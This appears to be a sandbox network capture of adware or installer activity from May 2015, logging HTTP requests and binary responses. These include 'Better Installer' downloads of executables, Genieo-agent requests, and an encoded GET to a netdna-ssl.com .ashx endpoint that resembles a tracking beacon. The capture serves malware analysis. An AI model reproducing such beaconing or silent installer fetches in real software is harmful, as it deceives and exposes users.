.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 fdfb753c7b0afbc59240c026d9ff6b78.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AATUsB9i8nQm0Hbp-H4W3NA98t6FVUO9PJJYjpgzryL7yTwlVF2EaA==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 fdfb753c7b0afbc59240c026d9ff6b78.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uuN_BeXHddX2G_tFIFY4FpABioMAlBBL5xYsMGbsdZvBuZySRRXuLQ==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 fdfb753c7b0afbc59240c026d9ff6b78.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wpb7aMALorzVbJGuW72OrCyyFgDN1i--8yCZ0ztK63nGPOS777yAWg==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>..HTTP/1.1 403 Forbidden..Cont
ent-Type: text/html..Content-Length: 162..Connection: keep-alive..Serv
er: nginx..Date: Fri, 15 May 2015 23:04:52 GMT..X-Cache: Error from cl
oudfront..Via: 1.1 fdfb753c7b0afbc59240c026d9ff6b78.cloudfront.net (Cl
oudFront)..X-Amz-Cf-Id: wpb7aMALorzVbJGuW72OrCyyFgDN1i--8yCZ0ztK63nGPO
S777yAWg==..<html>..<head><title>403 Forbidden</t
itle></head>..<body bgcolor="white">..<center><
;h1>403 Forbidden</h1></center>..<hr><center&g
t;nginx</center>..</body>..</html>....

GET /nyt/rss/HomePage HTTP/1.1

Accept-Encoding: gzip,deflate

Host: feeds.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:14 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml

Content-Length: 264

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/HomePage.xml">here</a>.</p>.</body></html&
gt;...

GET /cnnnext/dam/assets/150321165651-mad-max-fury-road-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 38225

Cache-Control: max-age=991

Expires: Fri, 15 May 2015 23:21:32 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.U..........................!.1."AQ..aq2...#B...R...$3b...r......4CS..
.%'.&DTdu.....................................3......................!
..1A.Q"aq..2.......#.BR$3.............?...YYY\q......YYY\q..8.k.v.n...
&.. [email protected].]8Wn.M/G'.5k5.Z>....|......m........h.oz
[email protected]....<.......JeG.p.W.2.\f......Z08
M.n....oF..C.@......<...$..........y.....b....n....C....u.<..h#x
....$J....Q....r....k P...z..`.....8........k....j.."......iPd.....`.,
[Z....O...Kj..G9.......i<$.3_3.j=.K.[T..w..%)B...........G...&GQl j
..=jt.[R.F...3.r.b.TuB...#....F...z..8.o.P..E(....q^...^.{.q...Y..p..J
......%...bG_.....=i#.6.B.. p8.>.K..B......x.....s[|.O.9u...L\VMy..
ZI.Xug.zR...A..l.4n.I.E..7..R9..G...B..J?...XqB.....#..q...d.....G..Uc
.w...YZ$.....0Ohc,..LZ..4...27..M.r(jp.......I........%..]xEy....z.$.=
...y...#L .xU^VR..8.k. '......7.$xN ........!Z.X..9t.B...:.\...rZ..f&l
t;..........mR.[.;.].C.<.Kw.7......-..8.Bfo.....d_....}....v.''..f.
........n.[.w7......N..k..=.:.TWëd.R .e.....h..!.<.&..lz..4..B..H
.l....2[.rR...L.[R....u.E*V....|.X...[&5.....eeeeq.VVV.V....[8.......c
.\..~ 0..mD?..*4..V....2>..][email protected].=..F?.(.U...T...R..O5.
V ]..'.7L4...Ts.2<..j.3.-r..4......g...%....E.b..WC,..Q.6.?..x_..2.
)....I..& g..;0....G.n.E..|.-i.s{Ga...)........Z.3.srq,.N..d.....j<<< skipped >>>

GET /cnnnext/dam/assets/141001122257-blatter-tease-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 29959

Cache-Control: max-age=5604

Expires: Sat, 16 May 2015 00:38:26 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
....................}........!1A..Qa."q.2....#B...R..$3br........%&'()
*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................
......................................................................
..........................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.
....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.......................
.............................................................?....0.*v
x...4....A.z....?"C..q.KlBM.#...qQu...ih' .....g..........0].Y..jE)!A!
X).z....].....8Y....K.>4A.<....s.i....c..H...(.F......{.W-.{...F
..5.e..d..|.q..~......Zn..~.K.V=z.S.........[d.........8.9...N..l.M1#6
..v.0.............._..M%.|.T...A...... ..n....Qy... [email protected]...=.q.Exs.
.=.l.......7.w.|.......>..7.......K.-..)P....lw.?.}5y.....k....S.K.
 ...y..}.x......j..G....v<a.'.w.W....i...Utah.7...K..#........<.
....".X?..dF......}y.......x... .Q.U.ry.v........./wS..v.Z."..G.......
..;.}2.b...#..s.8.......E..F.....'.......Z?._B"(C\..".#.....k.|..^x...
T.)..6V.y..o..{.}...5.v.=Zu.....vz.)p..Z.n........I..[k ..I.<zz..T.
v.G......o.Y..T...S.......'$.s]..t=F(..-.5..v..~.O}.p.......GK.....hv.
".............t..KpPI4v.......[k. ......i.pM.....M..zr2)u.7B.bw..jl...
.m.u8P U .Z....s64../..w&vF~.....[L..d.....o.s |.. ....S^c...{x.(.....
...=1..\..>"<ZU...<.B..l.....Te1:...l..S..;CYY..0E..;...y<<< skipped >>>

GET /9875.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoP6uT6llPaTG5AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxplhwMxml5UbmCbODR/403IDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0cHe5KQnbNqauE5N3JZkYwGD3h9gcT/r2iwEbfeVtNep9AGHLpPN9ds1xCWBfcznTYJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBTCpzrlNQN2/88/XPfhk4uBVWH5v khAB/rLvdMRg3M8UIMSUB/WnfCYlE4r6SV1bgnpuUIFlUf/q9nRDQDvVPIbkzfW5e8SMoSwi5wjSM7k5gIbV/f4x41WZp344hS/KOk6Y9dcrOVdNhnx1XeF3x0z9qiGPQGY8O 5AGGZP7FBa7xmZcVNq0wnVkWlZB8ovw3CPLf8b4I75fXsvf3TFg8fqly8nEySaAKL7C0ljy8DVDkvehx3v8Z2YT0WtEYDnx3vJXGCvYW0 O7WwXv/u8s2EM5jTZ 7fM8gLir8XlLSS2R299lcn5okIq4Qmm3AUQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /cnnnext/dam/assets/150514103529-couple-sunset-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 16079

Cache-Control: max-age=4115

Expires: Sat, 16 May 2015 00:13:36 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.D.........................!..1A..Qa."q....2BR....#...r....$...............................@.........................!1AQ..aq.."2.
......B..#5CR%&b.36r................?...y\..U..A...G..Dk....3..1a.E>
;Z........v...)r{ ...2..d..q...c..r...!s.Q..1..r%.!b.yi.E.&R....q..1.G
....!R...n.,Q,.;[email protected].(.....,*....*.~.'...-.A.).1D.=H...{.8..e..
=..".......8.b.s...3..4g.....p.m..R.#&c..n..EK...Nj...,X.{vT...m...{2.
.c..b......b..F..`I.T....'...R.1.'.eK.....n.*\.d..M.;.\..........BcZ.{
U/g.i..ES..GLcBon..^..M....R...cp'#7.....$.B.......(........9 ....7#..
.1.W7..T.d........>..c0*..R..^6...|.....^.UOja.........wG.8-j..5.~.
...5/..R.5.vG..t...2W......=....0Y................n.2.I.4........9....
M.tn{.q.W....!w..,uU...YC.5}..*..$.]7{6.z)&u......y.......i.a>L..]m
....o.]...em.* k%d..t..}? %s.jK.kp.../;..s..Y..iCO.Z1..2..|:z. ...5J.'
<.g..g....3....\. C..k..GJ.Hb.b.F.#Mr3..E ......6.... .o.w....7hX(.
....d..-chB...Lyh....0-..r&Ly\yim..1.9.^Z....;B.,Q,M...].r..LyQ1..}.K6
OR...6PsS~Z....,.:1.[..t{.U.").....Y.m..U.<")..ob...u..\..U!`M..*.3
.q........'0....s=.Of:.)..sUObm.T...F0&[....8.z.^.tu!`JF.K....{78T..8G
.1.'.?..{0.{7.j..HL....GOuK..`.{..T9...HLkBr3*...q....fIG......P...sz.
.....,cB.n..%..Bq.......H...W.*....}.nF}...DX...>.R...4.....G......
7U9.)..\g.y.s.H.....B.......:.............Z.4......}Ap...].t...jj.<<< skipped >>>

GET /cnnnext/dam/assets/150515155036-hong-kong-us-mom-baby-kyuss-with-square-crop-large-169.jpeg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 40124

Cache-Control: max-age=3765

Expires: Sat, 16 May 2015 00:07:47 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.K..........................!1A..Qa"q...2...#B....Rb.3..r.%CS....$&D..
.4d...................................:........................!1A.."Q
2a..q....#.....34B$Rb.C..............?..0.e...{[email protected]..<.0...kq..
.(.nm...y.......Zj~.......].=..E....H..Q.~x.)..6&.....\.Y.....9....1..
Y....=..?!..7.H..E...p..f.E....|t...8..n...LL.G4.[...d3.}.....Cs.c..X.
q..bH1..j.....6.Y.3..X>.p.-$G......$e;F...........<..H...9 .l?.L
1e..l.?....v.{.A..\.f..U....[x....->SI.....C...A.......C.."%.;....U
Q...gj....rnl,.?L..]......u&OSU3.....g....\...,...y.n. .....V.*.r.....
..b.x9YS.u|y}D..u.<.Q$. .{..7..%.6...5.z...f..z.n.....w3.,....8.{..
...6..(6..........;EA=.M...N.|..0...?......4.......`8y....(........?g.
a..i.-..........V..N...rX....q5.g....Ur.l..1.,..t.....U2.......b..y/..
V,...E0Pd....."....lF.?e..#...2..3.o..e............Z].a*.2S.....?~....
<.^=...R.%I."D....I.M.l0....`X....|.V...aTW..jT..M7...|>.>..#
..5.W..........&k.....}.(...@?v...._...oUj....4T......x..qd....\..S.A.
.....xy./.....on0[f.^...l.R'..g.h.I...3...!.A.....%... ..E..1... ..."n
...cHU...or18.iZV0......v...K.llP..s.... ....9.......8(..9.T!...)...,.
...q....bO......4.`9.=.F8.gp.F....i!...A..1....F....5..T.q`._.L.v.jk..
tfPm}....`N.d..K........<.8.....Y...._..N[Y.R*l..?U<[..e..h..Qgi
A..S~.GK~.=p..S.......i.....9...$[w7u7k{...9.jJ.U..OPx.v7...F...,.<<< skipped >>>

GET /cnnnext/dam/assets/150513072302-01-nepal-0513-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 58866

Cache-Control: max-age=4098

Expires: Sat, 16 May 2015 00:13:21 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.K..........................!1..A"Q.2aq..#.B...$R..3br.......L.&5...
Tc...................................5........................!1AQa."q
..........2#.3B...R............?..P.f.[....<..x..".Z..m.........<
;.....&.v..q ,.R.....I...o..6.A#.........Y....[.n-..}. `.{........G..u
.I....W...".|CJ.....A.H.MM.......4..B....x.jk........{bOt}q...68......
.>.RO.#(.q...6..V.!*......J.BP7$..0%...e..d.9.2.!0.!.n .u.VxJ@.... 
}q.Q.?..P...W.GyYo'%e.S..R.....b...<.a. .As\.....x.V.2...y..S..y2.u
*iH....b-.........*..C_7u....m...c....N....O...iP.l).T...i...Xf...RI..
...R..Z.yj....v.Sm.h..F.._6V.a)..P...|[.>)...z...U.ju....s7.w!e..X.
.9Pd8.....I$.E7..^....C.."..j..|svd6...k......L..F...j.b.J....cH.@.@..
S}.q{[..c.G...."........EBe.|.M..}...S.'...L>....z...Vq.n...._...E.
Nz..)......2......U......'[email protected] ....>.=...v.T....4"..
...F....ju..t..|c=!i.s...*......)O.n...J...../m.<SuXo.. .A.......H.
....cZ...9.V.x.p.Z..>.qj.....T.C.5,.E.V..iu....TDXi.n...V..R..F.{..
5g...*LI.W!Se.....3N.6!.V...k....H...}......n1Z...4.=..=...%!.......kl
w.........."Z'@Z..Hh..)6%$.P...m.T_.Y.lbo..68.}.....98.q..\U.48HI....m
k...'.#>.......E.O....i.....Moz...T|...jN.....9'..l.w.MH:TU.)..v.P&
gt;.7)6V=......x....>.6.=....W..Q^...;.x..q...f..".....)..l..= ...c
.@..'V0)...w.x.af..u.6].....r.|7. gPu)..Z.&.(X[.c...x.U...vR..Z.D.<<< skipped >>>

GET /cnnnext/dam/assets/150513164816-inside-supermax-prison-orig-00004310-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 39539

Cache-Control: max-age=2586

Expires: Fri, 15 May 2015 23:48:10 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
J.........................!.1.AQ.."aq.2...#BR.3br.....$C....Sc.45sDd..
................................../........................!1A."2Qa.q.
3B...#C...............?.......YS..N.7...O..S.E4. .pp.!.;A....7[.0....%
p*j...ex.k....mR.Q..B...g..3...r....~uAk..vP.c...5....-....p.]..G9...'
....#.J%..9...iLv.q......z..P.... ,D".UT<....i.........U.*d...H.*G.
.V\..I..A. }I.....E..QrN.4.GS4..?.......X........O.....k..Q....i.....|
...T.9U*Or.k.RH.<s.24.$..z.x.9........A.O"u:..@tw0.(..[9<yk.....
z......~Z.......k'T...r...-.#..>.....3.[..'.........Ld'o.Z5,....pC.
.#.F2.1......q.u..A........F..O.h.uN.R....i..J=3.-7g..*H.,.>LF...@.
<W\.;.~...(.'!.@...}5.t...c....n?.:..q....jJ.&p.`I'....W$^......n..
.:.hbs../..5.v..p3....S..7.1}.........B-..\hl.>.s%-eE&..1e..O...-..
...gC .n*.......r...F...w..]xo.n.4...a............U[.a.6...T..c'..%.\h
..|t=.o.:.1U....y...._Qd.....RF.......#...f.......P...2.........Va....
P..l..>..'..?.......Xk.. [email protected].............,..?1..
X.W.Xxu.....e..a..MU........p@3..|.q..n.......1..u.*k.....d.]....6...l
....f0.$A..i.L.cK8....e.......?....?...../...&...<........K....S.T.
N....K...?..i..~-.~7.......r.1.. .a....V......UL.ZX.O4.........Y....7.
.d}[email protected]"x..B3K.s....B.J..2..{p..W..S......i..j.......~e....~.;..
.At.....X.B......H9.~..Zn.G;.....U...&.q.}[email protected]..<<< skipped >>>

GET /cnnnext/dam/assets/140528100911-driverless-cars-google-story-top.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 87671

Cache-Control: max-age=3274

Expires: Fri, 15 May 2015 23:59:38 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive

.... <Exif..II*...........K...p...........................;........
...........................i...........%.......d...l.....<<enter
 caption here>> on September 25, 2012 in Mountain View, Californ
ia...Canon...Canon EOS-1D X..Justin Sullivan.2012 Getty Images...#....
....................."...........'...........0...........2............
.......0230...........................................................
.....................................................................4
9..........49..........0100...........................................
......................................................................
.......0...........1...........2.......$...4.......D...5.......X......
...........8.......2012:09:25 16:33:25.2012:09:25 16:33:25............
.............#.......ASCII............................................
......................................................................
......................................................................
......................................................................
.......O.......4.^...042011000154....#.......#.......................E
F35mm f/1.4L USM...0000000000.........................................
.......(...............................h.........H.......H............
.JFIF.....H.H......Adobe_CM......Adobe.d..............................
......................................................................
.............................................j...."................?..
..................................................................

<<< skipped >>>

GET /cnnnext/dam/assets/120828060720-mars-082812-story-top.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 87913

Cache-Control: max-age=6694

Expires: Sat, 16 May 2015 00:56:39 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF............................................................
......................................................................
....................h.................................................
............}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:
CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................
......................................................................
..........w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:C
DEFGHIJSTUVWXYZcdefghijstuvwxyz.......................................
.............................................?...5(ZY.....Q.5b...rI;.@
......y.uk;.<.GT .c....ge..l.6..u.R<Z..7.3..!..IY=G.3.Z..Ie$&..T
wr....H.A..}..Aiu*X.SRq.[.7c.`#d.`kNd.Q...-.. .\[email protected]........{-?.
.35..H.f........&..Io.V....&.....O. .N{.A.i.k2u........;..x.T....D..py
....N.......t... .^.kx..[...G..=....m]3M..Z..?.-.B.%...nW*..N..BO.m...
h..E.."H.b...<z...v.#.j........=...~...qMTH.E......n...8&N..b.U.[..
.M..=..Lc.'.(.}.V..9Bktg6...#.L..N.j......N.....".,.|....oJK}F...n...,
.3..s.....f.5L..Q.......z....E...^._..)%.. ...u._.&...$w......:.?.e.K.
t._..................... [email protected][email protected][email protected].@..
[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]....
..K......'.........x[....S].;i<....9..i..m.,.Si....s.W.V.}..j.o.nql
..o.V3M.....g..x.C. K......w...L..._S.J..........-...'8.]..O....D.Td..
..x...H.,....b.........vV.....L.d.v....%I...i............VV.i....ory./
.O.o..T.KmR..y0.<-....M..|.Vb.Eu...i...l|.................N.}2.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=116286-232572

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 116286-232572/465144

Content-Length: 116287

Connection: keep-alive
..h..u".6.....I^..3U........<..f....;fEE...j...e.[.Iy..%&..j\......
fD..".S.u.._.....P...d..tMt..D.D.P..7ft....G.7'.=..3.^......uP..7.....
..z....{..8...~...I...).V...x}../......|..t.4B.........G.':xz....C.m.H
z..6.........?8p...W..0.w[H..=......T....Y8.&..r.....e.5...ywg.JQ...].
.vJ..}.A...q.{[email protected])....B0...z.i`..0..i..;.P.{U...hp.W..SC.
L.Xq.....y(i..f..=.ma.. .#.&N.#.C;v....j......Q....n.......~ .DX.].49.
.......l..,.H......(....[.:[email protected].:......L.....#3......2X..s..2.ZPk.
....9.tj$.-.. ...vn{.......v!...KQ==.SS.0. E.\\r%{==.6.!sP......~...K.
...T..v....4....G4d.......NS.Bsl..(.!...y..;.W..`...z}....M..T#...`.8.
C..g...4b.....a=.O....N..(..)....%.....?..i}.....zQ....6&..3.L&t6v'F.s
'/...\%...Q...~M..Q.._...=>.T..4Qpl,..q........{[email protected]
.Yk..C.`.v.....lc..z.5..z ...."......^.d] ].&"x..m.e...v...m....[s.f..
.../.......2N..O.g0.1..h1.0~&..04`..j..T..e..vA?.,wm\L.w8)..l......L.)
MC.j".R.../.]..H...sb6....r>........D...e.7../.%..p9."<..:3...&l
t;..4<.i.......p^Z..

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657590-11315180

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 5657591

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657590-11315180/22630361
B][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~
'...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`
.PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P..
...I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1
..C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..
Y...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...
}J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..
|.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V...
..-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.&l
t;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt
.......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....
lw.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s 
!.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?...
..Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w.
.a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\
.!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z......
..

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Tue, 14 Apr 2015 05:02:07 GMT

Accept-Ranges: bytes

ETag: "2711f7277076d01:0"

Server: Microsoft-IIS/8.5

VTag: 279782516600000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Fri, 15 May 2015 23:06:21 GMT

Connection: keep-alive

0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150413163223Z..150713045223Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Z0... .....7......150712164223Z0.
..*.H.............WK....e.\.-.n......./......."]..E!.. //=...[....w...
 ..........#...[.l.J..f|..... .s......w...J._.......3.[..#.z....ko.I..
Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x......W............j....&L. 2
.$.?...X?.#.(.....pK.v.......y..r....t......=.AW......K.G.gJD.b.HTTP/1
.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Tue, 14 
Apr 2015 05:02:07 GMT..Accept-Ranges: bytes..ETag: "2711f7277076d01:0"
..Server: Microsoft-IIS/8.5..VTag: 279782516600000000..P3P: CP="ALL IN
D DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT CO
M INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length:
 554..Cache-Control: max-age=900..Date: Fri, 15 May 2015 23:06:21 GMT.
.Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1.0.
..U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0
!..U....Microsoft Code Signing PCA..150413163223Z..150713045223Z.a0_0.
..U.#..0..........X..7.3...L...0... .....7.........0...U......Z0... ..
...7......150712164223Z0...*.H.............WK....e.\.-.n......./......
."]..E!.. //=...[....w... ..........#...[.l.J..f|..... .s......w...J._
